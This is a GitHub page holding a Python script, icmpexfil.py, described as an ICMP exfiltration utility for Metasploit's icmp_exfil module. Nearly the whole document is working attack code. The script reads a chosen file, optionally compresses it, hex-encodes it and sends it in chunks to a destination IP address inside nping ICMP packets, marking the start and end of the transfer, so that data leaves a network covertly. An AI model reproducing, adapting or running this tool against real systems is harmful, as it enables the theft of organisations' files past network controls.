-
Notifications
You must be signed in to change notification settings - Fork 0
/
icmpexfil.py
242 lines (209 loc) · 8.53 KB
/
icmpexfil.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
__author__ = 'khanta'
import argparse
import sys
import datetime
import subprocess
import socket
import binascii
import hashlib
import zlib
import platform
import os
import signal
debug = 0
nping = ''
exfilhash = ''
datasize = 0
# https://raw.githubusercontent.com/todb/junkdrawer/master/exfiltrate-data.rb
# https://community.rapid7.com/community/metasploit/blog/2014/01/01/fun-with-icmp-exfiltration
#TODO Add size for payload
def signal_handler(signal, frame):
Completed(True)
sys.exit(0)
signal.signal(signal.SIGINT, signal_handler)
def is64bit():
if platform.machine().endswith('64'):
return True
else:
return False
def bytes_from_file(filename, chunksize=512):
with open(filename, 'rb') as f:
while True:
chunk = f.read(chunksize)
if chunk:
yield chunk
else:
break
def readfile(filename):
with open(filename, 'rb') as f:
data = f.read()
return data
def exfildata(ipaddress, file, compress, npinglocation, chunksize):
status = True
error = ''
global exfilhash
global datasize
chunksize = 2048
x = 0
subprocess.call(npinglocation + ' ' + ipaddress + ' --icmp -H --quiet -c 1 --data-string "BOF' + str(file) + '"',
stdout=None)
data = readfile(file)
if compress:
new_data = zlib.compress(data)
else:
new_data = data
hexdata = binascii.hexlify(bytearray(new_data))
exfilhash = (hashlib.md5(hexdata).hexdigest())
hex_string = "".join("%02x" % b for b in hexdata)
datasize = int(len(hex_string)/2)
chunks = int(round(len(hex_string) / chunksize))
for i in range(len(hex_string)):
chunk = hex_string[x:chunksize + x]
if chunk:
subprocess.call(npinglocation + ' ' + ipaddress + ' --icmp -H --quiet -c 1 --delay 50ms -data ' + chunk, stdout=None)
print('| Chunks remaining: ' + str(chunks).ljust(55) + '|\r', end="")
chunks -= 1
x += chunksize
else:
break
d = subprocess.call(npinglocation + ' ' + ipaddress + ' --icmp -H --quiet -c 1 --data-string "EOF"', stdout=None)
return status, error
def genMD5(file):
with open(file, 'rb') as file_to_check:
data = file_to_check.read()
return hashlib.md5(data).hexdigest()
def validateIP(ipaddress):
status = True
error = ''
try:
socket.inet_aton(ipaddress)
except socket.error:
error = "Invalid IP Address."
status = False
finally:
return status, error
def validateFile(file):
status = True
error = ''
try:
if os.path.isfile(file):
status = True
else:
status = False
error = 'File ' + str(file) + ' does not exist.'
except:
status = False
error = 'File ' + str(file) + ' does not exist.'
finally:
return status, error
def npingcheck():
status = True
error = ''
global nping
try:
if is64bit():
if os.path.isfile("c:\\Program Files (x86)\\Nmap\\nping.exe"):
nping = '"c:\\Program Files (x86)\\Nmap\\nping.exe"'
status = True
else:
if os.path.isfile("c:\\Program Files\\Nmap\\nping.exe"):
nping = '"c:\\Program Files\\Nmap\\nping.exe"'
status = True
except:
status = False
error = 'File nping does not exist.'
finally:
return status, error
def Header(ipaddress, file, compress, chunksize):
global exfilhash
print('')
print('+--------------------------------------------------------------------------+')
print('|ICMP Exfiltration Utility |')
print('+---------------------------------------------------------------------------')
print('|Author: TK |')
print('+--------------------------------------------------------------------------+')
print('| Date Run: ' + str(datetime.datetime.now()).ljust(63) + '|')
print('+--------------------------------------------------------------------------+')
print('| Destination IP: ' + str(ipaddress).ljust(57) + '|')
print('+--------------------------------------------------------------------------+')
print('| Source File : ' + str(file).ljust(54) + '|')
print('| Source File Bytes: ' + str(os.stat(file).st_size).ljust(54) + '|')
print('| Source File MD5 : ' + str(genMD5(file)).ljust(54) + '|')
if compress:
print('| Compression : Enabled |')
if chunksize >= 1:
print('| Compression : Disabled |')
print('| Size of chunk: ' + str(chunksize).ljust(58) + '|')
print('+--------------------------------------------------------------------------+')
def Completed(cancel):
if cancel:
print('| Cancelled. |')
else:
print('+--------------------------------------------------------------------------+')
print('| Transferred Data Bytes: ' + str(datasize).ljust(49) + '|')
print('| Transferred file MD5 : ' + str(exfilhash).ljust(49) + '|')
print('+--------------------------------------------------------------------------+')
print('| [*] Completed. |')
print('+--------------------------------------------------------------------------+')
def Failed(error):
print(' * Error: ' + str(error))
print('+--------------------------------------------------------------------------+')
print('| Failed. |')
print('+--------------------------------------------------------------------------+')
sys.exit(1)
def main(argv):
#try:
compress = False
chunksize = 0
#parse the command-line arguments
parser = argparse.ArgumentParser(description="ICMP exfiltration utility for Metasploit icmp_exfil.", add_help=True)
parser.add_argument('-i', '--ipaddress', help='The destination IP Address.', required=True)
parser.add_argument('-f', '--file', help='The file to exfiltrate.', required=True)
#parser.add_argument('-s', '--size', help='Size of data packet (This will be double due to encoding).',
# required=False)
parser.add_argument('-c', '--compress',
help='Enable zlib compression. To retrieve "cat <file> | xxd -r -ps | openssl zlib -d | tee >(md5sum) > <outfile>"',
action='store_true', required=False)
parser.add_argument('--version', action='version', version='%(prog)s 1.0')
args = parser.parse_args()
if args.ipaddress:
ipaddress = args.ipaddress
if args.file:
file = args.file
if args.compress:
compress = True
#if args.size:
# chunksize = int(args.size)
Header(ipaddress, file, compress, chunksize)
print('| [#] Checking for nping. |')
status, error = npingcheck()
if status:
print('| [+] Success. |')
else:
print('| [-] Failed. |')
Failed(error)
print('| [#] Validating File. |')
status, error = validateFile(file)
if status:
print('| [+] Success. |')
else:
print('| [-] Failed. |')
Failed(error)
print('| [#] Validating IP Address. |')
status, error = validateIP(ipaddress)
if status:
print('| [+] Success. |')
else:
print('| [-] Failed. |')
Failed(error)
print('| [#] Exfiltrating Data. |')
status, error = exfildata(ipaddress, file, compress, nping, chunksize)
if status:
print('| [+] Success. |')
else:
print('| [-] Failed. |')
Failed(error)
Completed(False)
#except:
# sys.exit(1)
main(sys.argv[1:])